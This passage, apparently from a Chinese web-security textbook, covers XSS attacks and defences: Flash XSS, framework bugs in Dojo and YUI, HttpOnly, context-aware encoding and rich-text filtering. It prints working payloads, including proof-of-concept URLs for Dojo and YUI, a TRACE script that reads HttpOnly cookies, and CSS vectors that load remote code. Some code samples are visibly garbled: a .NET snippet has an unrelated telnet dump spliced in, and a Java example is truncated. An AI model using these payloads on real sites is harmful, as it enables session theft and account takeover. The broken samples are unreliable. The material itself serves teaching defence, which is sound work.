如果能在B域上找到一个302跳转的页面,也可以不使用form表单,这样会更加方便。

虽然“回旋镖”并不是一种完美的漏洞利用方式,但也能将反射型XSS的效果变得更加自动化。

XSS漏洞是一个Web安全问题,不能因为它的利用难易程度而决定是否应该修补。随着技术的发展,某些难以利用的漏洞,也许不再是难题。

容易被忽视的角落:Flash XSS

前文讲到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。

在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写:

1
getURL("javascript:alert(document.cookie)")

将Flash嵌入页面中:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
<embed src="http://yourhost/evil.swf" pluginspage="http://www.macromedia.com/ shockwave/download/index.cgi? P1_Prod_Version=S hockwaveFlash" type="application/x-shockwave-flash" width="0" height="0" ></embed>

ActionScript是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能地禁止用户能够上传或加载自定义的Flash文件。

由于Flash文件如此危险,所以在实现XSSFilter时,一般都会禁用<embed>、<object>等标签。后者甚至可以加载ActiveX控件,能够产生更为严重的后果。

如果网站的应用一定要使用Flash怎么办?一般来说,如果仅仅是视频文件,则要求转码为“flv文件”。flv文件是静态文件,不会产生安全隐患。如果是带动态脚本的Flash,则可以通过Flash的配置参数进行限制。

常见的嵌入Flash的代码如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
<object classid="clsid:d27cdb6e- ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/ pub/shockwave/cabs/flash/swflash.cab#versi on=8,0,0,0" name="Main" width="1000" height="600" align="middle" id="Main"> <embed flashvars="site=&sitename=" src='Loading.swf?user=453156346' width="1000" height="600" align="middle" quality="high" name="Main" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/ getflashplayer" /> </object>

限制Flash动态脚本的最重要的参数是“al-lowScriptAccess”,这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值:

1 2 3 4 5
always,对与HTML的通信也就是执行JavaScript不做任何限制; sameDomain,只允许来自于本域的Flash与Html通信,这是默认值; never,绝对禁止Flash与页面通信。

使用always是非常危险的,一般推荐使用never。如果值为sameDomain的话,请务必确保Flash文件不是用户传上来的。

除了“allowScriptAccess”外,“allowNet-working”也非常关键,这个参数能控制Flash与外部网络进行通信。它有三个可选值: ?all,允许使用所有的网络通信,也是默认值; ?internal,Flash不能与浏览器通信如navi-gateToURL,但是可以调用其他的API; ?none,禁止任何的网络通信。

一般建议此值设置为none或者internal。设置为all可能带来安全问题。

除了用户的Flash文件能够实施脚本攻击外,一些Flash也可能会产生XSS漏洞。看如下Ac-tionScript代码:

1 2 3 4 5
on (release) { getURL (_root.clickTAG, "_blank"); }

这段代码经常出现在广告的Flash中,用于控制用户点击后的URL。但是这段代码缺乏输入验证,可以被XSS攻击:

1 2 3
http://url/to/flash-file.swf? clickTAG=javascript:alert('xss')

安全研究者Stefano Di Paola曾经写了一个叫“SWFIntruder”的工具来检测产生在Flash里的XSS漏洞,通过这个工具可以检测出很多注入Flash变量导致的XSS问题。

SWFIntruder的界面

要修补本例中的漏洞,可以使用输入检查的方法:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
on (release) { if (_root.clickTAG.substring(0,5)== "http:" || _root.clickTAG.substring(0,6)== "https:" || _root.clickTAG.substring(0,1)== "/") { getURL (_root.clickTAG, "_blank"); } }

Flash XSS往往被开发者所忽视。注入Flash变量的XSS,因为其问题出现在编译后的Flash文件中,一般的扫描工具或者代码审计工具都难以检查,常常使其成为漏网之鱼。

OWASP为Flash安全研究设立了一个Wiki页面,有兴趣的读者可以参考。

真的高枕无忧吗:JavaScript

开发框架

在Web前端开发中,一些JavaScript开发框架深受开发者欢迎。利用JavaScript开发框架中的各种强大功能,可以快速而简洁地完成前端开发。

一般来说,成熟的JavaScript开发框架都会注意自身的安全问题。但是代码是人写的,高手偶尔也会犯错。一些JavaScript开发框架也曾暴露过一些XSS漏洞。

Dojo

Dojo是一个流行的JavaScript开发框架,它曾被发现存在XSS漏洞。在Dojo 1.4.1中,存在两个“DOM Based XSS”:

1 2 3
File: dojo-release-1.4.1-src\dojo- release-1.4.1-src\dijit\tests\_testCommon.js

用户输入由theme参数传入,然后被赋值给变量themeCss,最终被document.write到页面里:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Line 25: var str = window.location.href.substr(window.location.h ref.indexOf("?")+1).split(/#/); Line 54: ..snip.. var themeCss = d.moduleUrl("dijit.themes",theme+"/"+theme +".css"); var themeCssRtl = d.moduleUrl("dijit.themes",theme+"/"+theme +"_rtl.css"); document.write('<link rel="stylesheet" type="text/css" href="'+themeCss+'">'); document.write('<link rel="stylesheet" type="text/css" href="'+themeCssRtl+'">');

所以凡是引用了_testCommon.js的文件,都受影响。POC如下:

1 2 3
http://WebApp/dijit/tests/form/ test_Button.html?theme="/><script>alert(/xss/)</script>

类似的问题还存在于:

1 2 3
File: dojo-release-1.4.1-src\dojo- release-1.4.1-src\util\doh\runner.html

它也是从window.location传入了用户能够控制的数据,最终被document.write到页面:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
Line 40: var qstr = window.location.search.substr(1); ..snip.. Line 64: document.write("<scr"+"ipt type='text/ javascript' djConfig='isDebug: true' src='"+dojoUrl+"'></scr"+"ipt>"); ..snip.. document.write("<scr"+"ipt type='text/ javascript' src='"+testUrl+".js'></ scr"+"ipt>");

POC如下:

1 2 3 4 5
http://WebApp/util/doh/runner.html?dojoUrl='/ >foo</script><' "<script>alert(/xss/)</script>

这些问题在Dojo 1.4.2版本中已经得到修补。但是从这些漏洞可以看到,使用JavaScript开发框架也并非高枕无忧,需要随时关注可能出现的安全问题。

YUI

翻翻YUI的bugtracker,也可以看到类似Dojo的问题。

在YUI 2.8.1中曾经fix过一个“DOM BasedXSS”。YUI的History Manager功能中有这样一个问题,打开官方的demo页:

1 2 3
http://developer.yahoo.com/yui/examples/ history/history-navbar_source.html

点击一个Tab页,等待页面加载完成后,在URL的hash中插入恶意脚本。构造的XSS如下:

1 2 3 4 5
http://developer.yahoo.com/yui/examples/ history/history-navbar_source.html#navbar=hom e<script>alert(1)</script>

脚本将得到执行。其原因是在history.js的_updateIframe方法中信任了用户可控制的变量:

1 2 3
html = '<html><body><div id="state">' + fqstate + '</div></body></html>;

最后被写入到页面导致脚本执行。YUI的修补方案是对变量进行了htmlEscape。

jQuery

jQuery可能是目前最流行的JavaScript框架。它本身出现的XSS漏洞很少。但是开发者应该记住的是,JavaScript框架只是对JavaScript语言本身的封装,并不能解决代码逻辑上产生的问题。所以开发者的意识才是安全编码的关键所在。

在jQuery中有一个html()方法。这个方法如果没有参数,就是读取一个DOM节点的inner-HTML;如果有参数,则会把参数值写入该DOM节点的innerHTML中。这个过程中有可能产生“DOM Based XSS”:

1 2 3 4
$('div.demo-container').html("<img src=# onerror=alert(1) />");

如上,如果用户能够控制输入,则必然会产生XSS。在开发过程中需要注意这些问题。

使用JavaScript框架并不能让开发者高枕无忧,同样可能存在安全问题。除了需要关注框架本的安全外,开发者还要提高安全意识,理解并正确地使用开发框架。

XSS的防御

XSS的防御是复杂的。

流行的浏览器都内置了一些对抗XSS的措施,比如Firefox的CSP、Noscript扩展,IE 8内置的XSS Filter等。而对于网站来说,也应该寻找优秀的解决方案,保护用户不被XSS攻击。在本书中,主要把精力放在如何为网站设计安全的XSS解决方案上。

四两拨千斤:HttpOnly

HttpOnly最早是由微软提出,并在IE 6中实现的,至今已经逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。

以下浏览器开始支持HttpOnly:

 1  2  3  4  5  6  7  8  9 10 11
Microsoft IE 6 SP1+ Mozilla Firefox 2.0.0.5+ Mozilla Firefox 3.0.0.6+ Google Chrome Apple Safari 4.0+ Opera 9.5+

严格地说,HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。

在“初探XSS Payload”一节中,曾演示过“如何使用XSS窃取用户的Cookie,然后登录进该用户的账户”。但如果该Cookie设置了HttpOnly,则这种攻击会失败,因为JavaScript读取不到Cookie的值。

一个Cookie的使用过程如下。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14
Step1:浏览器向服务器发起请求,这时候没有Cookie。 Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。 Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。 HttpOnly是在Set-Cookie时标记的: Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly]

需要注意的是,服务器可能会设置多个Cookie(多个key-value对),而HttpOnly可以有选择性地加在任何一个Cookie值上。

在某些时候,应用可能需要JavaScript访问某几项Cookie,这种Cookie可以不设置HttpOnly标记;而仅把HttpOnly标记给用于认证的关键Cookie。

HttpOnly的使用非常灵活。如下是一个使用HttpOnly的过程。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
<?php header("Set-Cookie: cookie1=test1;"); header("Set-Cookie: cookie2=test2;httponly", false); ?> <script> alert(document.cookie); </script>

在这段代码中,cookie1没有HttpOnly,cookie2被标记为HttpOnly。两个Cookie均被写入浏览器:

测试页面的HTTP响应头

浏览器确实接收了两个Cookie:

浏览器接收到两个Cookie

但是只有cookie1被JavaScript读取到:

cookie1被JavaScript读取

HttpOnly起到了应有的作用。

在不同的语言中,给Cookie添加HttpOnly的代码如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
Java EE response.setHeader("Set-Cookie", "cookiename=value; Path=/;Domain=domainvalue;Max-Ag e=seconds;HTTPOnly"); C# HttpCookie myCookie = new HttpCookie("myCookie"); myCookie.HttpOnly = true; Response.AppendCookie(myCookie); VB.NET Dim myCookie As HttpCookie = new HttpCookie("myCookie") myCookie.HttpOnly = True Response.AppendCookie(myCookie)

但是在.NET 1.1中需要手动添加:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
$ telnet foo.com 80 Trying 127.0.0.1... Connected to foo.bar. Escape character is ‘^]’. TRACE / HTTP/1.1 Host: foo.bar X-Header: test HTTP/1.1 200 OK Date: Mon, 02 Dec 2002 19:24:51 GMT Server: Apache/2.0.40 (Unix) Content-Type: message/http TRACE / HTTP/1.1 Host: foo.bar X-Header: test Response.Cookies[cookie].Path += ";HTTPOnly";

PHP 4

1
header("Set-Cookie: hidden=value; httpOnly");

PHP 5

1 2 3
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

最后一个参数为HttpOnly属性。

添加HttpOnly的过程简单,效果明显,有如四两拨千斤。但是在部署时需要注意,如果业务非常复杂,则需要在所有Set-Cookie的地方,给关键Cookie都加上HttpOnly。漏掉了一个地方,都可能使得这个方案失效。

在过去几年中,曾经出现过一些能够绕过HttpOnly的攻击方法。

Apache支持的一个Header是TRACE。TRACE一般用于调试,它会将请求头作为HTTPResponse Body返回。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
$ telnet foo.com 80 Trying 127.0.0.1... Connected to foo.bar. Escape character is ‘^]’. TRACE / HTTP/1.1 Host: foo.bar X-Header: test HTTP/1.1 200 OK Date: Mon, 02 Dec 2002 19:24:51 GMT Server: Apache/2.0.40 (Unix) Content-Type: message/http TRACE / HTTP/1.1 Host: foo.bar X-Header: test

利用这个特性,可以把HttpOnly Cookie读出来。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
<script type="text/javascript"> <!-- function sendTrace () { var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE", "http://foo.bar",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } //--> </script> <INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

结果如下:

JavaScript读取到cookie

目前各厂商都已经修补了这些漏洞,但是未来也许还会有新的漏洞出现。现在业界给关键业务添加HttpOnly Cookie已经成为一种“标准”的做法。

但是,HttpOnly不是万能的,添加了HttpOnly不等于解决了XSS问题。

XSS攻击带来的不光是Cookie劫持问题,还有窃取用户信息、模拟用户身份执行操作等诸多严重的后果。如前文所述,攻击者利用AJAX构造HTTP请求,以用户身份完成的操作,就是在不知道用户Cookie的情况下进行的。

使用HttpOnly有助于缓解XSS攻击,但仍然需要其他能够解决XSS漏洞的方案。

输入检查

常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。

又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。

这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。

输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、’、”等。如果发现存在特殊字符,则将这些字符过滤或者编码。

比较智能的“输入检查”,可能还会匹配XSS的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。

这种输入检查的方式,可以称为“XSS Filter”。互联网上有很多开源的“XSS Filter”的实现。

XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。

比如下面这个XSS漏洞:

1
<script src="$var" ></script>

其中“$var”是用户可以控制的变量。用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。

如果是一个全局性的XSS Filter,则无法看到用户数据的输出语境,而只能看到用户提交了一个URL,就很可能会漏报。因为在大多数情况下,URL是一种合法的用户数据。

XSS Filter还有一个问题——其对“<”、“>”等字符的处理,可能会改变用户数据的语义。

比如,用户输入:

1
1+1<3

对于XSS Filter来说,发现了敏感字符“<”。如果XSS Filter不够“智能”,粗暴地过滤或者替换了“<”,则可能会改变用户原本的意思。

输入数据,还可能会被展示在多个地方,每个地方的语境可能各不相同,如果使用单一的替换操作,则可能会出现问题。

比如用户的“昵称”会在很多页面进行展示,但是每个页面的场景可能都是不同的,展示时的需求也不相同。如果在输入的地方统一对数据做了改变,那么输出展示时,可能会遇到如下问题。

用户输入的昵称如下:

1
$nickname = '我是"天才"'

如果在XSS Filter中对双引号进行转义:

1
$nickname = '我是\"天才\"'

在HTML代码中展示时:

1
<div>我是\"天才\"<div>

在JavaScript代码中展示时:

1 2 3 4 5 6 7
<script> var nick = '我是\"天才\"'; document.write(nick); </script>

这两段代码,分别得到如下结果:

第一个结果显然不是用户想看到的。

输出检查

既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?

一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

安全的编码函数

编码分为很多种,针对HTML代码的编码方式是HtmlEncode。

HtmlEncode并非专用名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。

为了对抗XSS,在HtmlEncode中要求至少转换以下字符:

 1  2  3  4  5  6  7  8  9 10 11
& --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;   &apos; 不推荐 / --> &#x2F;   包含反斜线是因为它可能会闭合一些HTML entity

在PHP中,有htmlentities()和htmlspe-cialchars()两个函数可以满足安全要求。

相应地,JavaScript的编码方式可以使用JavascriptEncode。

JavascriptEncode与HtmlEncode的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:

1 2 3
var x = escapeJavascript($evil); var y = '"'+escapeJavascript($evil)+'"';

如果escapeJavascript()函数只转义了几个危险字符,比如‘、”、<、>、\、&、#等,那么上面的两行代码输出后可能会变成:

1 2 3
var x = 1;alert(2); var y = "1;alert(2)";

第一行执行额外的代码了;第二行则是安全的。对于后者,攻击者即使想要逃逸出引号的范围,也会遇到困难:

1
var y = "\";alert(1);\/\/";

所以要求使用JavascriptEncode的变量输出一定要在引号内。

可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的JavascriptEncode函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:

1
var x = 1;alert(2);

变成了:

1
var x = 1\x3balert\x282\x29;

如此代码可以保证是安全的。

在OWASP ESAPI中有一个安全的JavascriptEncode的实现,非常严格。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
/** * {@inheritDoc} * * Returns backslash encoded numeric format. Does not use backslash character escapes * such as, [AABAA] or \' as these may cause parsing problems. For example, if a javascript * attribute, such as onmouseover, contains a [AABAA] that will close the entire attribute and * allow an attacker to inject another script attribute. * * @param immune */ public String encodeCharacter( char[] immune, Character c ) { // check for immune characters if ( containsCharacter(c, immune ) ) { return ""+c; } // check for alphanumeric characters String hex = Codec.getHexForNonAlphanumeric(c); if ( hex == null ) { return ""+c; } // Do not use these shortcuts as they can be used to break out of a context // if ( ch == 0x00 ) return "\\0"; // if ( ch == 0x08 ) return "\\b"; // if ( ch == 0x09 ) return "\\t"; // if ( ch == 0x0a ) return "\\n"; // if ( ch == 0x0b ) return "\\v"; // if ( ch == 0x0c ) return "\\f"; // if ( ch == 0x0d ) return "\\r"; // if ( ch == 0x22 ) return "\\\""; // if ( ch == 0x27 ) return "\\'"; // if ( ch == 0x5c ) return "\\\\"; // encode up to 256 with \ \xHH String temp = Integer.toHexString(c); if ( c < 256 ) { String pad = "00".substring(temp.length() ); return "\\x" + pad + temp.toUpperCase(); } // otherwise encode with \ \uHHHH String pad = "0000".substring(temp.length() ); return "\\u" + pad + temp.toUpperCase(); }

除了HtmlEncode、JavascriptEncode外,还有许多用于各种情况的编码函数,比如XMLEn-code(其实现与HtmlEncode类似)、JSONEn-code(与JavascriptEncode类似)等。

在“Apache Common Lang”的“StringEscapeUtils”里,提供了许多escape的函数。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
import org.apache.commons.lang.StringEscapeUtils; public class StringUtilsEscapeExampleV1 { l(unescapedXML)); String unescapedHTML = "<data>"; System.err.println(StringEscapeUtils.escapeHt ml(unescapedHTML)); } }

可以在适当的情况下选用适当的函数。需要注意的是,编码后的数据长度可能会发生改变,从而影响某些功能。在写代码时需要注意这个细节,以免产生不必要的bug。

只需一种编码吗

XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。

在Python的开发框架Django自带的模板系统“Django Templates”中,可以使用escape进行HtmlEncode。比如:

1
{{ var|escape }}

这样写的变量,会被HtmlEncode编码。

这一特性在Django 1.0中得到了加强——默认所有的变量都会被escape。这个做法是值得称道的,它符合“Secure By Default”原则。

在Python的另一个框架web2py中,也默认escape了所有的变量。在web2py的安全文档中,有这样一句话:

web2py, by default, escapes all variables ren-dered in the view, thus preventing XSS.

Django和web2py都选择在View层默认HtmlEncode所有变量以对抗XSS,出发点很好。但是,像web2py这样认为这就解决了XSS问题,是错误的观点。

前文提到,XSS是很复杂的问题,需要“在正确的地方使用正确的编码方式”。看看下面这个例子:

1 2 3 4 5
<body> <a href=# onclick="alert('$var');" >test</a> </body>

开发者希望看到的效果是,用户点击链接后,弹出变量“$var”的内容。可是用户如果输入:

1
$var = htmlencode("');alert('2");

对变量“$var”进行HtmlEncode后,渲染的结果是:

1 2 3 4 5 6 7 8 9
<body> <a href=# onclick="alert('&#x27;&#x29;&#x3b;alert&#x28; &#x27;2');" >test</a> </body>

对于浏览器来说,htmlparser会优先于JavaScript Parser执行,所以解析过程是,被HtmlEncode的字符先被解码,然后执行JavaScript事件。

因此,经过htmlparser解析后相当于:

1 2 3 4 5 6 7
<body> <a href=# onclick="alert('');alert('2');" >test</a> </body>

成功在onclick事件中注入了XSS代码!

第一次弹框:

执行第一个alert

第二次弹框:

执行第二个alert

导致XSS攻击发生的原因,是由于没有分清楚输出变量的语境!因此并非在模板引擎中使用了auto-escape就万事大吉了,XSS的防御需要区分情况对待。

正确地防御XSS

为了更好地设计XSS防御方案,需要认清XSS产生的本质原因。

XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。

如果网站使用了MVC架构,那么XSS就发生在View层——在应用拼接变量到HTML页面时产生。所以在用户提交数据处进行输入检查的方案,其实并不是在真正发生攻击的地方做防御。

想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

下面将用变量“$var”表示用户数据,它将被填充入HTML代码中。可能存在以下场景。在HTML标签中输出

1 2 3
<div>$var</div> <a href=# >$var</a>

所有在标签中输出的变量,如果未做任何处理,都能导致直接产生XSS。

在这种场景下,XSS的利用方式一般是构造一个<script>标签,或者是任何能够产生脚本执行的方式。比如:

1
<div><script>alert(/xss/)</script></div>

或者

1
<a href=# ><img src=# onerror=alert(1) /></a>

防御方法是对变量使用HtmlEncode。在HTML属性中输出

在<script>标签中输出时,首先应该确保输出的变量在引号中:

1 2 3 4 5
<script> var x = "$var"; </script>

攻击者需要先闭合引号才能实施XSS攻击:

1 2 3 4 5
<script> var x = "";alert(/xss/);//"; </script>

防御时使用JavascriptEncode。

在事件中输出

在事件中输出和在<script>标签中输出类似:

1
<a href=# onclick="funcA('$var')" >test</a>

可能的攻击方法:

1
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>

在防御时需要使用JavascriptEncode。在CSS中输出

在CSS和style、style attribute中形成XSS的方式非常多样化,参考下面几个XSS的例子。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<STYLE>@import'http://ha.ckers.org/ xss.css';</STYLE> <STYLE>BODY{-moz- binding:url("http://ha.ckers.org/ xssmoz.xml#xss")}</STYLE> <XSS STYLE="behavior: url(xss.htc);"> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</ STYLE><UL><LI>XSS <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));">

所以,一般来说,尽可能禁止用户可控制的变量在“<style>标签”、“HTML标签的style属性”以及“CSS文件”中输出。如果一定有这样的需求,则推荐使用OWASP ESAPI中的encodeForCSS()函数。

1 2 3 4 5
String safe = ESAPI.encoder().encodeForCSS( request.getPara meter( "input" ) );

其实现原理类似于ESAPI.encoder().encode-ForJavaScript()函数,除了字母、数字外的所有字符都被编码成十六进制形式“\uHH”。在地址中输出

在地址中输出也比较复杂。一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。URLEncode会将字符转换为“%HH”形式,比如空格就是“%20”,“<”符号是“%3c”。

1
<a href="http://www.evil.com/?test=$var">test</a>

可能的攻击方法:

1 2 3
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>

经过URLEncode后,变成了:

1 2 3
<a href="http://www.evil.com/?test= %22%20onclick%3balert%281%29%22" >test</a>

但是还有一种情况,就是整个URL能够被用户完全控制。这时URL的Protocal和Host部分是不能够使用URLEncode的,否则会改变URL的语义。

一个URL的组成如下:

1
[Protocal][Host][Path][Search][Hash]

例如:

 1  2  3  4  5  6  7  8  9 10 11
https://www.evil.com/a/b/c/test?abc=123#ssss [Protocal] = "https://" [Host] = "www.evil.com" [Path] = "/a/b/c/test" [Search] = "?abc=123" [Hash] = "#ssss"

在Protocal 与Host中,如果使用严格的UR-LEncode函数,则会把“://”、“.”等都编码掉。

对于如下的输出方式:

1
<a href="$var" >test</a>

攻击者可能会构造伪协议实施攻击:

1
<a href="javascript:alert(1);" >test</a>

除了“javascript”作为伪协议可以执行代码外,还有“vbscript”、“dataURI”等伪协议可能导致脚本执行。“dataURI”这个伪协议是Mozilla所支持的,能够将一段代码写在URL里。如下例:

1 2 3 4 5
<a href="data:text/ html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcmlwd D4=">test</a>

这段代码的意思是,以text/html的格式加载编码为base64的数据,加载完成后实际上是:

1
<script>alert(1);</script>

点击<a>标签的链接,将导致执行脚本。

执行恶意脚本

由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多。如何解决这种情况呢?

一般来说,如果变量是整个URL,则应该先检查变量是否以“http”开头(如果不是则自动添加),以保证不会出现伪协议类的XSS攻击。

1
<a href="$var" >test</a>

在此之后,再对变量进行URLEncode,即可保证不会有此类的XSS发生了。

OWASP ESAPI中有一个URLEncode的实现(此API未解决伪协议的问题):

1 2 3 4 5
String safe = ESAPI.encoder().encodeForURL( request.getPara meter( "input" ) );

处理富文本

有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。比如一个用户在论坛里发帖,帖子的内容里要有图片、视频,表格等,这些“富文本”的效果都需要通过HTML代码来实现。

如何区分安全的“富文本”和有攻击性的XSS呢?

在处理富文本时,还是要回到“输入检查”的思路上来。“输入检查”的主要问题是,在检查时还不知道变量的输出语境。但用户提交的“富文本”数据,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中。因此可以特殊情况特殊处理。

在上一节中,列出了所有在HTML中可能执行脚本的地方。而一个优秀的“XSS Filter”,也应该能够找出HTML代码中所有可能执行脚本的地方。

HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。

在过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁止的。

在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较“安全”的标签存在。“白名单原则”不仅仅用于标签的选择,同样应该用于属性与事件的选择。

在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与style。

如果一定要允许用户自定义样式,则只能像过滤“富文本”一样过滤“CSS”。这需要一个CSSParser对样式进行智能分析,检查其中是否包含危险代码。

有一些比较成熟的开源项目,实现了对富文本的XSS检查。

Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到.NET等语言。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
import org.owasp.validator.html.*; Policy policy = Policy.getInstance(POLICY_FILE_LOCATION); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(dirtyInput, policy); MyUserDAO.storeUserProfile(cr.getCleanHTML()) ; // some custom function

在PHP中,可以使用另外一个广受好评的开源项目:HTMLPurify。

防御DOM Based XSS

DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待。

DOM Based XSS是如何形成的呢?回头看看这个例子:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" />

在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是:

1 2 3
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";

将HTML代码写入了DOM节点,最后导致了XSS的发生。

事实上,DOM Based XSS是从JavaScript中输出数据到HTML页面里。而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。

看看下面这个例子:

1 2 3 4 5 6 7
<script> var x="$var"; document.write("<a href='"+x+"' >test</a>"); </script>

变量“$var”输出在<script>标签内,可是最后又被document.write输出到HTML页面中。

假设为了保护“$var”直接在<script>标签内产生XSS,服务器端对其进行了javascriptEscape。可是,$var在document.write时,仍然能够产生XSS,如下所示:

1 2 3 4 5 6 7 8 9
<script> var x="\x20\x27onclick\x3dalert\x281\x29\x3b \x2f\x2f\x27"; document.write("<a href='"+x+"' >test</a>"); </script>

页面渲染之后的实际结果如下:

页面渲染后的HTML代码效果

XSS攻击成功:

执行恶意代码

其原因在于,第一次执行javascriptEscape后,只保护了:

1
var x = "$var";

但是当document.write输出数据到HTML页面时,浏览器重新渲染了页面。在<script>标签执行时,已经对变量x进行了解码,其后docu-ment.write再运行时,其参数就变成了:

1
<a href=' 'onclick=alert(1);//'' >test</a>

XSS因此而产生。

那是不是因为对“$var”用错了编码函数呢?如果改成HtmlEncode会怎么样?继续看下面这个例子:

 1  2  3  4  5  6  7  8  9 10 11 12 13
<script> var x="1&#x22;&#x29;&#x3b;alert&#x28;2&#x29;&#x3b ;&#x2f;&#x2f;&#x22;"; document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>"); </script>

服务器把变量HtmlEncode后再输出到<script>中,然后变量x作为onclick事件的一个函数参数被document.write到了HTML页面里。

